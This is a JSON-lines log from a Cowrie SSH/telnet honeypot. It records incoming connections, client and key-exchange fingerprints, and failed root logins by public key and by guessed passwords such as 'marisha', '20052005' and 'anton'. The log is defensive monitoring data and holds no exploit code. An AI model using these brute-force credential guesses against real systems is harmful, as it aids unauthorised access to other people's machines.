{"eventid":"cowrie.login.failed","username":"root","fingerprint":"62:b4:8d:e8:1c:ca:e1:c0:74:bf:0b:ee:b8:20:3c:af","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAKLC1Yj0KSFIDBxOf4kF6L/5g0kv42YsDeSqOvJOt+XJXmTEvReFEXRvM/BST0NA4OgZLz8N7fNb0yf3mf/MEvWyEEtK5SBnaMqLYZtBh1gYgz6vlmK90jqWx94rpaToGsbdzohrcmnbqz0SAlOPWnxXcbDCdiCYNX8Z9foTfwXtAAAAFQC0U+Wsm0bF8D5+buR8HfH+h3aa9wAAAIAPcdiYf+xeXF36r04TVF5kFjjVq4dcIVe1ILdPVrLJlhfPjogh1LloCkG7xYD+tC6AuqV4WFUt/JbwzJZfJi58UeTg3moCSaGTbwGiGF6jE3R6lEs70ToS/OFen9f6L3o/0pP+fs19E8WktenqH+iucewtUJdt9wEH07u/BFrUYgAAAIACKy/bSk9BWYBuaE4t19Ep/oE3mBJmnQ/ESbLJ90JZuigf64vEMKxf9snacZeQ/0lnMKwpfvJg/FqN+KvJZbElU4xU3UG8QilivVrVT52yllQxlHCqMDKbI1OF7ScgxYnWUlf3wixc1VMz4GOi9lZ6iFjgv3xrVM1rOwCg9tgrvQ==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:33:28.938647Z","src_ip":"178.73.210.62","session":"413a3eff52e3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"49:03:43:3a:df:00:06:05:62:01:48:e4:28:6a:7f:d2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyhLJyjSzf7JFXm1q93tz/+n0cRdfcUaQ6e4QDz+vH6LMbyvVc4nX8nMhOKksjwzUogYuDmkFmC7F8/rN/khizHfRWTI8ACPoIYUglonl3OGRxOJJJ/RjhiXaiQB3z18ZfuyGMOJmDry8c1t3AHwfljNJFJr0RtBC9V+H01wdd062PEmcxQyrYT7pGdwkqGsPDdIRFHTOokPp6SJ2TaDbs5RppS0Rvzsi+tWqeqosYWso6zVTA9CRMKCcjuMy8pfcocRx+mF6/7kpCaxn9UejlC1ift/hvos51wAWQIcDqKtKkR+vmKYaI0HFAqO7GzsxzOZkoM2GMG7J8JSDYivrMQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 49:03:43:3a:df:00:06:05:62:01:48:e4:28:6a:7f:d2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:33:29.040226Z","src_ip":"178.73.210.62","session":"413a3eff52e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"49:03:43:3a:df:00:06:05:62:01:48:e4:28:6a:7f:d2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyhLJyjSzf7JFXm1q93tz/+n0cRdfcUaQ6e4QDz+vH6LMbyvVc4nX8nMhOKksjwzUogYuDmkFmC7F8/rN/khizHfRWTI8ACPoIYUglonl3OGRxOJJJ/RjhiXaiQB3z18ZfuyGMOJmDry8c1t3AHwfljNJFJr0RtBC9V+H01wdd062PEmcxQyrYT7pGdwkqGsPDdIRFHTOokPp6SJ2TaDbs5RppS0Rvzsi+tWqeqosYWso6zVTA9CRMKCcjuMy8pfcocRx+mF6/7kpCaxn9UejlC1ift/hvos51wAWQIcDqKtKkR+vmKYaI0HFAqO7GzsxzOZkoM2GMG7J8JSDYivrMQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:33:29.043836Z","src_ip":"178.73.210.62","session":"413a3eff52e3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0f:6c:7a:b7:40:88:b4:35:cf:16:1e:cf:88:3d:5e:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDl4oen5AynkDZ3vY/Nt8r1scStEuQWuWcTuMq+YyjdLw5LurvYD2d7gPpwIQlTGttlggbN+/VavKzuD5VQNNBwCvTCSI6IpoPdSBypL6/lz5EEVyrKPoWEeKc06QQCtrKo6LNLNomFzWdUZ7mVUGlrkmPmdSCbsheDxTG6j7SlaT1pormLqepCvAf1eVw1SB9Bsuc0OGOOpFx8VUnBvM6jt0q/1Sb054nilJCZxZuhWBeTB42uwsalit4dohndXzgg2VV01ku3NhQLQIQW7M7iewR40GMl9JUfLz3SCwvMfsPMYDHnuHKOaS9163qSgv1GPxx8WAQmojeo4upyGXV5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0f:6c:7a:b7:40:88:b4:35:cf:16:1e:cf:88:3d:5e:d1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:33:29.144930Z","src_ip":"178.73.210.62","session":"413a3eff52e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0f:6c:7a:b7:40:88:b4:35:cf:16:1e:cf:88:3d:5e:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDl4oen5AynkDZ3vY/Nt8r1scStEuQWuWcTuMq+YyjdLw5LurvYD2d7gPpwIQlTGttlggbN+/VavKzuD5VQNNBwCvTCSI6IpoPdSBypL6/lz5EEVyrKPoWEeKc06QQCtrKo6LNLNomFzWdUZ7mVUGlrkmPmdSCbsheDxTG6j7SlaT1pormLqepCvAf1eVw1SB9Bsuc0OGOOpFx8VUnBvM6jt0q/1Sb054nilJCZxZuhWBeTB42uwsalit4dohndXzgg2VV01ku3NhQLQIQW7M7iewR40GMl9JUfLz3SCwvMfsPMYDHnuHKOaS9163qSgv1GPxx8WAQmojeo4upyGXV5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:33:29.148514Z","src_ip":"178.73.210.62","session":"413a3eff52e3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"33:6d:20:e3:96:12:9e:23:b2:7a:a5:25:43:4b:32:4c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA46csqwmV0g9kHnG6vKHOWeR9Kv+D2kFy+BDaXC7JSVE+ld/NVnxN2MNNV+pcuwsfQzcfYESEqriZcy8XTqyecugXshbGXOycGaplldD4ATqCaFUEYOf7RMtK4c1EZRSuT6BjKiCLVPY4AXfTzzgrVgJXKdDw8GhRdDUJLfZU3eW/OCmuA1p7+LkPbk6nB8l0lMW8qmC/h2cBpmV0O6F4apd68dJ/L1Z/OSdC/lq3813d/z2gsoba/lE5NdtEfLIlhzH+oJfp1CIrFmqk/PUQbU+5CpwDmapi41sbgdT73thzFzuitt1vsGO3t/TUYt15NWXs/LDuRRzMcADRovrRzQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 33:6d:20:e3:96:12:9e:23:b2:7a:a5:25:43:4b:32:4c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:33:29.249005Z","src_ip":"178.73.210.62","session":"413a3eff52e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"33:6d:20:e3:96:12:9e:23:b2:7a:a5:25:43:4b:32:4c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA46csqwmV0g9kHnG6vKHOWeR9Kv+D2kFy+BDaXC7JSVE+ld/NVnxN2MNNV+pcuwsfQzcfYESEqriZcy8XTqyecugXshbGXOycGaplldD4ATqCaFUEYOf7RMtK4c1EZRSuT6BjKiCLVPY4AXfTzzgrVgJXKdDw8GhRdDUJLfZU3eW/OCmuA1p7+LkPbk6nB8l0lMW8qmC/h2cBpmV0O6F4apd68dJ/L1Z/OSdC/lq3813d/z2gsoba/lE5NdtEfLIlhzH+oJfp1CIrFmqk/PUQbU+5CpwDmapi41sbgdT73thzFzuitt1vsGO3t/TUYt15NWXs/LDuRRzMcADRovrRzQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:33:29.252672Z","src_ip":"178.73.210.62","session":"413a3eff52e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:33:29.355139Z","src_ip":"178.73.210.62","session":"413a3eff52e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":59498,"dst_ip":"159.203.135.109","dst_port":22,"session":"bbb0a7d53593","protocol":"ssh","message":"New connection: 185.236.22.41:59498 (159.203.135.109:22) [session: bbb0a7d53593]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:33:48.708656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:33:48.713549Z","src_ip":"185.236.22.41","session":"bbb0a7d53593","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:33:48.833366Z","src_ip":"185.236.22.41","session":"bbb0a7d53593","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"marisha","message":"login attempt [root/marisha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:33:49.285542Z","src_ip":"185.236.22.41","session":"bbb0a7d53593","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:33:50.396395Z","src_ip":"185.236.22.41","session":"bbb0a7d53593","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":6452,"dst_ip":"10.17.0.5","dst_port":22,"session":"62f86cb93eec","protocol":"ssh","message":"New connection: 38.93.206.2:6452 (10.17.0.5:22) [session: 62f86cb93eec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:33:54.144027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:33:54.148717Z","src_ip":"38.93.206.2","session":"62f86cb93eec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:33:54.198791Z","src_ip":"38.93.206.2","session":"62f86cb93eec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"20052005","message":"login attempt [root/20052005] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:33:54.356028Z","src_ip":"38.93.206.2","session":"62f86cb93eec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:33:55.409980Z","src_ip":"38.93.206.2","session":"62f86cb93eec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52984,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5174c418bb8","protocol":"telnet","message":"New connection: 192.119.13.58:52984 (10.17.0.5:23) [session: d5174c418bb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:34:31.831064Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":53236,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d18180b5d1d","protocol":"ssh","message":"New connection: 62.133.62.83:53236 (10.17.0.5:22) [session: 5d18180b5d1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:34:36.909186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:34:36.915834Z","src_ip":"62.133.62.83","session":"5d18180b5d1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:34:36.994990Z","src_ip":"62.133.62.83","session":"5d18180b5d1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"djljktq","message":"login attempt [root/djljktq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:34:37.233560Z","src_ip":"62.133.62.83","session":"5d18180b5d1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:34:38.315298Z","src_ip":"62.133.62.83","session":"5d18180b5d1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47248,"dst_ip":"10.17.0.5","dst_port":23,"session":"f617505c5e08","protocol":"telnet","message":"New connection: 192.119.13.58:47248 (10.17.0.5:23) [session: f617505c5e08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:34:57.441979Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":48024,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d63c1b23c25","protocol":"ssh","message":"New connection: 103.98.149.87:48024 (159.203.135.109:22) [session: 0d63c1b23c25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:35:05.987883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:35:05.993857Z","src_ip":"103.98.149.87","session":"0d63c1b23c25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:35:06.245970Z","src_ip":"103.98.149.87","session":"0d63c1b23c25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"anton","message":"login attempt [root/anton] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:35:07.195357Z","src_ip":"103.98.149.87","session":"0d63c1b23c25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:35:08.423005Z","src_ip":"103.98.149.87","session":"0d63c1b23c25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.34151220321655,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:35:15.172500Z","src_ip":"192.119.13.58","session":"d5174c418bb8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.207.129","src_port":53883,"dst_ip":"10.17.0.5","dst_port":22,"session":"acf3d461b768","protocol":"ssh","message":"New connection: 45.79.207.129:53883 (10.17.0.5:22) [session: acf3d461b768]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:35:21.132827Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:35:23.360672Z","src_ip":"45.79.207.129","session":"acf3d461b768","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":55950,"dst_ip":"159.203.135.109","dst_port":22,"session":"7967da60c837","protocol":"ssh","message":"New connection: 80.94.92.184:55950 (159.203.135.109:22) [session: 7967da60c837]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:35:36.321431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:35:36.368184Z","src_ip":"80.94.92.184","session":"7967da60c837","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:35:36.539105Z","src_ip":"80.94.92.184","session":"7967da60c837","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456789","message":"login attempt [solv/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:35:37.761530Z","src_ip":"80.94.92.184","session":"7967da60c837","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:35:38.939402Z","src_ip":"80.94.92.184","session":"7967da60c837","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.008421897888184,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:35:39.450303Z","src_ip":"192.119.13.58","session":"f617505c5e08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.236.228.111","src_port":48908,"dst_ip":"10.17.0.5","dst_port":22,"session":"af61b6629c50","protocol":"ssh","message":"New connection: 172.236.228.111:48908 (10.17.0.5:22) [session: af61b6629c50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:36:08.757218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:36:08.810921Z","src_ip":"172.236.228.111","session":"af61b6629c50","protocol":"ssh"}
